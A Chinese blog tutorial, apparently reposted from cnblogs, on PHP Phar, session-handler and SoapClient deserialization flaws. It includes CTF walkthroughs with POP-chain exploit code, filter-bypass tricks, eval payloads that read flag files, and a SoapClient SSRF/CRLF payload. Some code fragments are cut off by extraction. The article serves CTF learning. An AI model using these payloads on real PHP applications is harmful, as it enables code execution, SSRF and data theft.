引言
接上个文章,一周一深入之深入剖析PHP反序列化上个文章把php反序列化的基础以及trick总结完了,这篇文章就总结一下PHP常见的三个组件反序列化,Phar、session、soap反序列化。
一周一深入之深入剖析PHP反序列化phar、session、soap反序列化引言一、什么是Phar以及Phar反序列化Phar概念Stub标识manifestcontentssignaturePhar用法Phar://的伪协议Phar的meta数据从php底层来看Phar反序列化7.0版本源码8.0版本源码赛题例题:[SWPU 2018]SimplePHPBypass trick开头过滤phar关键字验证图片格式绕过过滤了__HALT_COMPILER();总结二、什么是PHP session以及PHP session反序列化PHP session概念php sessionPHP session的产生存储PHP.ini中session配置详解以及session三种存储模式php模式php_serialize模式php_binary模式PHP session的反序列化漏洞根本原因案例赛题jarvisoj-web的php session反序列化赛题总结三、什么是soap协议以及 php soap反序列化soap协议概念php soap-Client类的使用WSDL和non-WSDL 模式soap-Client 的WSDL写法:soap-Client 的non-WSDL写法:soapclient的__call()魔术方法特性利用该特性实现SSRF赛题CTFSHOW-WEB259总结
一、什么是Phar以及Phar反序列化
Phar概念
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 以及以上的版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP中运行,是PHP提供的一个原生功能。
Phar文件分为四个部分:
1、Stub//Phar文件头
2、manifest//压缩文件信息
3、contents//压缩文件内容
4、signature//签名
Stub标识
Stub文件,我自己的理解就是,程序的入口,比如我们Phar打包了三个文件 index.php、function.php、Style.php, 打包成a.phar 当我们运行php a.phar时。
就会执行stub文件,我们把index.php设置为stub文件,那么就会执行index.php中的代码。
stub文件的结尾一定要是:
xxx
manifest
a manifest describing the contents,用于存放文件的属性、权限等信息。这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的 Meta-data,下面具体总结Mete-data的序列化和反序列化。
contents
用于存放 Phar 文件的内容
signature
图片
签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
签名(可选参数),位于文件末尾,具体格式如下
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名更换签名的脚本
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件
Phar用法
PHP.ini配置文件中,Phar文件是默认只读的,我们想创建phar 文件需要修改配置文件中phar.readonly为:
phar.readonly = 0
创建一个目录结构:
--Phar_learn
--bulid
----test.php
--src
--index.php
--create_phar.php
其中 index.php内容:
create_phar.php内容:
setStub($phar->createDefaultStub("index.php")); // stub文件 告诉 phar文件被加载时候程序的入口 ?>运行create_phar.php后 在bulid目录下会生成一个phar_learn.phar文件,index.php文件就被我们打包好了,在test.php中引用这个phar包。
运行结果:hello word
phar的大概用法就是这样了,就是把一些php文件打包成phar包,然后快速引用运行,更加便捷方便。
Phar://的伪协议
php支持很多伪协议,之前学习文件包含漏洞时候知道php://,file://,zip://等一些伪协议,Phar也是php的伪协议之一,
用法:phar://路径/phar文件/php文件
比如将test.php的代码改为如下:
运行结果:hello word
可以正常引用。
Phar的meta数据
Phar对象中有一个meta数据,是以序列化的方式储存的。
setStub($phar->createDefaultStub("index.php")); // stub文件 告诉 phar文件被加载时候程序的入口 $phar->setMetadata($test); //把对象test放入phar的meta属性中 运行该代码 生成phar包 发现meta数据是以序列化的格式储存的: 从php底层来看Phar反序列化 在PHP8.0版本以及以上,phar自动反序列化已经被修复,下面分析一下7.0版本的源码和8.0版本源码做一个对比。 7.0版本源码 var.c中定义了unserrialize的源码发现关键反序列化函数php_var_unserialize() 直接搜索phar.c文件,打开 发现phar文件中也存在php_var_unserialize()函数,进行反序列化。将metadata数据进行反序列化,这就是漏洞的关键点。 8.0版本源码 php8.0中phar自动反序列化已经被修复,先看unserialize源码。在var.c文件中找到定义。 发现核心函数是php_unserialize_with_options 跟过去找到php_unserialize_with_options 发现将序列化数据转为对象的核心函数php_var_unserialize(),到这发现8.0中反序列化的调用需要调用方进行选择的,不是默认直接就反序列化成对象。 赛题 Phar反序列化赛题的特点,首先要能上传一个phar文件,然后要有include、file_get_contents等函数,使用phar伪协议触发反序列化。 例题:[SWPU 2018]SimplePHP 打开赛题: 发现可以读取文件: 读取index.php:再读取base.php
发现flag再flag.php中 直接读取被过滤了。
读取upload_file.php内容:
前端写得很low,请各位师傅见谅!
再读取function.php文件:
alert("上传成功!");'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "请选择上传的文件:" . "
"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo ''; return false; } } } ?>
发现上传文件规定为:gif、jpeg、jpg、png 四种类型的文件。
读取file.php和class.php内容:
There is no file to show!"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
class.php
str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>到这里思路已经明晰了,我们写好pop链子,放入phar文件,生成一个phar文件,修改后缀为可上传的后缀,然后上传,在用phar伪协议触发pop链子拿到flag。
根据calss.php构造Pop链子
通过C1e4r的echo $this->test;触发Show的$content = $this->str['str']->source;再触发Test的return $this->get($key);
我们只需要让C1e4r的test是Show类,Show类的$str['str']是Test类。
Pop链子调用顺序:C1e4r::__destruct()->Show::toString()->::Test::get()->file_get()函数 得到base64加密的flag内容
flag路径:/var/www/html/flag.php
设置Test类的params['source']="/var/www/html/flag.php"
exp:
params['source']="/var/www/html/f1ag.php"; $a->str=$b; $b->str['str']=$c; $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub('');$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test"); //随便写生成个签名,添加要压缩的文件
$phar->stopBuffering();
?>
生成phar文件后修改后缀为png上传,上传成功。
根据function.php中的文件命名规则得是md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
手动计算自己的文件名加ip 或者访问url/upload 找到文件名
再查看文件中 ?/file=phar://upload/文件名
即可触发反序列化拿到base64编码后的f1lg.php文件内容,base64解码即可。
Bypass trick
开头过滤phar关键字
当过滤限制了phar不能出现在前几个字符时,可以使用php其他协议进行绕过。
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
验证图片格式绕过
可以在设置stub文件时添加文件头
$phar->setStub(“GIF89a”.""); //设置stub``//生成一个phar.phar,修改后缀名为phar.gif
过滤了__HALT_COMPILER();
将phar文件进行gzip压缩 Linux使用命令:
gzip test.phar
将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过
$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
这段代码的作用是创建一个 ZIP 文件 1.zip,并在其中添加一个名为 crispr.txt 的文件,并将序列化后的内容作为 ZIP 文件的注释。
原理:翻看PHP源码,会发现Phar解析时候会判断该文件是否为压缩文件,如果是会进行先解压,再解析该Phar文件。
gzip会将phar中的内容进行压缩加密,从而绕过关键字监测。zip注释如果有内容就会读取后传入metadata,从而也能造成反序列化。
总结
Phar反序列化本质还是Phar在储存Metadata数据时使用了序列化的方式,在Phar://协议调用phar文件时候,Metadata序列化数据会自动反序列化,导致反序列化攻击, 要实现Phar反序列化攻击有四个必须点:
1.PHP版本必须在8.0以下,8.0以后的PHP已经修复了Phar自动反序列化
2.可以上传phar文件,即使是修改后缀的phar文件也可以。
3.要有include、file_get_contents等函数可以进行文件包含使用phar://协议 调用phar文件
4.要有可利用的魔术方法
下述函数如果参数可控 就可以解析phar://伪协议造成反序列化
图片
二、什么是PHP session以及PHP session反序列化
PHP session概念
php session
session和cookie差不多,不过是cookie是浏览器保存的登录凭证,而session是服务器保存的登录凭证,保存登录信息。
PHP session的产生存储
php session的产生存储 依靠session_start()函数,它的作用是打开Session,并且随机生成一个32位的session_id,session的全部机制也是基于这个session_id,服务器就是通过这个唯一的session_id来区分出这是哪个用户访问的。
我们写好一个php文件:
"; echo "COOKIE 为: ".$_COOKIE["PHPSESSID"]; 访问该页面: 可以看到 我们第一次访问随机生成了一个32位的session_id(),接下俩这个32位的session_id就是我们用户的独特标识,服务器通过这个标识来区分是哪位用户进行访问。我们随便刷新,id都不会变,但是如果关掉浏览器,再次打开访问,id就会发生变化。 可以通过php的配置文件php.ini来找到session储存的路径: 可以看到储存的格式为: sess_+session_id PHP.ini中session配置详解以及session三种存储模式 session.save_handler = files //session的存储形式,默认是files文件形式存储 session.save_path="C:\My\Hack\phpStudy\phpstudy_pro\Extensions\tmp\tmp" //session文件存储的路径 session.auto_start = 0 //请求开始时是否会自动启动一个会话,也就是自动执行一个session_start(); 如果开启 代码中不用写session_start(); session.name = PHPSESSID //session的名字,默认PHPSESSID session.serialize_handler = php //php存储session的模式 有三种: php、php_serialize、php_binary php存储session的三种模式是造成session反序列化漏洞的最根本的原因,依次看一下三种模式的区别: php模式 我们把存储模式调为php模式: "; echo "COOKIE 为: ".$_COOKIE["PHPSESSID"]; 我们抓个包把我们的session_id改为123访问后sess_123文件内容变为: 可以看到数组中的键和值中间用 | 来分割,值如果是数组或对象按照序列化的格式存储 test|s:5:"hello";test2|s:10:"hello word"; php_serialize模式 "; echo "COOKIE 为: ".$_COOKIE["PHPSESSID"]; 进行访问,访问后再看sess_123,可以看见这个是完全按照 php序列化来存储的,键名也包含在其中,返回回来一个数组 a:2:{s:4:"test";s:5:"hello";s:5:"test2";s:10:"hello word";} php_binary模式 "; echo "COOKIE 为: ".$_COOKIE["PHPSESSID"]; 这个处理器的格式是键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理后的值;注意这个键名的长度所所对应的ASCII字符,就比如说键名长度为67,那它对应的就是ASCII码为67的字符C,如果键名长度44对应的就是","。 Ctetttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttsts:67:"hettttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttllo";,tetttttttttttttttttttttttttttttttttttttttst2s:75:"hettttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttllollo word"; PHP session的反序列化 上面我们知道,在存储session的到时候是以序列化的方式存储的,再读取的时候也会自动进行反序列化,不需要unserialize()函数。 漏洞根本原因 漏洞的根本原因就是代码中php session php存储模式 和php session php_serialize 存储模式混用导致的漏洞,再存储的时候采用php_serialize模式存储,我们特意加入“|”作为分隔符号,在使用时采用php存储模式取出session文件内容反序列化,就会以"|"分隔符分割,把我们构造好的序列化内容进行反序列化,达到攻击的效果。 案例 我们设计两个页面,第一个页面从test变量获得内容赋值给$_SESSION保存在session文件中,是以php_serialize模式存储,完全序列化方式存储 test1.php:test2.php: 第二个页面以php存储方式把session文件内容读取出来,此时会以"|"为分隔符进行读取。
code); } ?>思路: 我们序列化test类,赋值code我们想要执行的代码,然后前面加上"|"分割符,以php_serialize存储起来,再访问第二个页面就会以php方式读取,此时"|"会被当做分隔符,就读取到我们之前序列化好的test类了。
存储格式:
再访问test2.php时,会把|当作分隔符 将后面的 O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";}";}进行反序列化。
成功触发魔术方法
这个就是php session反序列化漏洞的原理,本质就是两个存储模式混用导致的。
赛题
jarvisoj-web的php session反序列化赛题
题目地址
打开题目:
mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>可以看到代码逻辑,看到ini_set('session.serialize_handler', 'php');猜想有
传一个phpinfo的参数可以直接看到phpinfo页面:
看关于session的配置发现:
session.upload_progress.enabled是开启的,这个选项是上传服务器的文件会被php记录文件信息,比如文件名,上传时间等信息记录到session文件中。
这时思路就有了,上传一个文件,把文件名字改为我们序列化后内容,加上"|"分隔符 然后触发执行代码。
写一个上传页面;
查看禁用函数,发现禁用了system等执行命令的函数,需要用其他命令代替,用print_r(scandir(dirname(FILE)));代替system("ls");
序列化:O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}
在双引号前加上\转义O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}
在前面再加上分隔符"|",|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}
找到flag文件的名称。
用print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));代替system("cat /Here_1s_7he_fl4g_buT_You_Cannot_see.php"),这个路径在上面phpinfo中可以找到。
拿到flag:
session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS)PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。
总结
php session反序列化 根phar一样 ,都是会自动对数据进行反序列化而导致的,但是session反序列化需要存储session两个模式php和php_serialize混用才会触发这个漏洞,当赛题看到php关于seesion的部分并且可以很轻易获得phpinfo时,大概率为考察该漏洞的利用,要关注phpinfo中session的存储路径,存储模式,以及是否记录文件上传信息,可能成为攻击入口。
三、什么是soap协议以及 php soap反序列化
soap协议概念
soap协议是一个应用层通信协议,基于xml格式可在http之上进行信息交换,soap是用于访问网络服务的协议。SOAP是一种独立于平台和语言的协议,这意味着用任何语言编写的应用程序都可以与SOAP进行交互,无论它们运行在哪种操作系统上。
php soap-Client类的使用
php关于soap有多个类:SoapClient 类、SoapServer 类、SoapFault 类、SoapHeader 类、SoapParam 类、SoapVar 类。
但是我们关于soap反序列化的类主要就是SoapClient类,其他类就用的时候再说吧。
WSDL和non-WSDL 模式
Web Services 有两种实现模式:契约先行(Contract first)模式和代码先行(Code first)模式。
契约先行模式使用了一个用 XML 定义的服务接口的WSDL文件。WSDL 文件定义了服务必须实现或客户端可以使用的接口。SoapServer 和 SoapClient 的 WSDL 模式就基于这个概念。
在代码先行模式中,首先要先写出实现服务的代码。然后在大多数情况下,代码会产生一个契约(可以借助一些工具生成),换种说法,一个 WSDL 文件。接着客户端在使用服务的时候就可以使用那个 WSDL 来获得服务的接口及其他信息。尽管如此,PHP5 的扩展并没有从代码输出一个 WSDL 的实现,考虑到这种情况,可以在 non-WSDL 模式下使用 SoapServer 和 SoapClient
soap-Client 的WSDL写法:
try {
$client = new SoapClient('hello.wsdl');//wsdl是以及定义好的文件
$result = $client->__soapCall('greet', [
['name' => 'Suhua']
]);
printf("Result = %s", $result->greetReturn);
} catch (Exception $e) {
printf("Message = %s",$e->__toString());
}
soap-Client 的non-WSDL写法:
try {
$client = new SoapClient(null, [
'location' => 'http://localhost/php-soap/non-wsdl/hello_service_non_wsdl.php',
'uri' => 'http://localhost/php-soap/non-wsdl/helloService'
]);
$result = $client->__soapCall('greet', [
new SoapParam('Suhua', 'name')
]);
printf("Result = %s", $result);
} catch (Exception $e) {
printf("Message = %s",$e->__toString());
}
在 non-WSDL 模式中,因为没有使用 WSDL,传递了一个包含服务所在位置(location)和服务 URI 的参数数组作为参数。然后像 WSDL 模式中一样调用 __soapCall() 方法,但是使用了 SoapParam 类用指定格式打包参数。返回的结果将获取 greet 方法的响应。
soapclient的__call()魔术方法特性
当soapclient访问类中一个不存在的方法时候,会触发__call()函数,并将这个soapclient转化为一条soap请求发送给web服务。
利用该特性实现SSRF
试想一下,我们把要访问的网站等信息放入soap然后序列化,在目标网站序列化,然后调用一个该类不存在的方法,那么他就会自动对之前放好的网站发起一次soap请求。如果我们放的网站是它自身,如127.0.0.1,那么就相当于该网站自己给自己发送一条soap请求,自己请求自己。
赛题
CTFSHOW-WEB259
拿到赛题:
index.php
getFlag(); flag.php $target, 'user_agent'=>'chendi^^X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'. '^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string, 'uri'=> "dwzzzzzzzzzz")); $a = serialize($b); $a = str_replace('^^',"\r\n",$a); echo urlencode($a); ?>或者:
'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php', 'user_agent' => $ua)); echo(urlencode(serialize($client))); 将序列化传参后访问flag.txt即可。 #总结 soap的反序列化跟phar和session的不太一样,phar和session会自动进行反序列化,而soap需要有反序列化入口,soap反序列化主要利用的是soap-client的__call魔术方法,再次发起soap请求达到SSRF实现伪造ip等效果,搭配CRLF还可以实现伪造token、cookie等效果。 > 作者 Drton1 标签:文件,PHP,phar,session,深入,file,序列化,php From: https://www.cnblogs.com/o-O-oO/p/18331591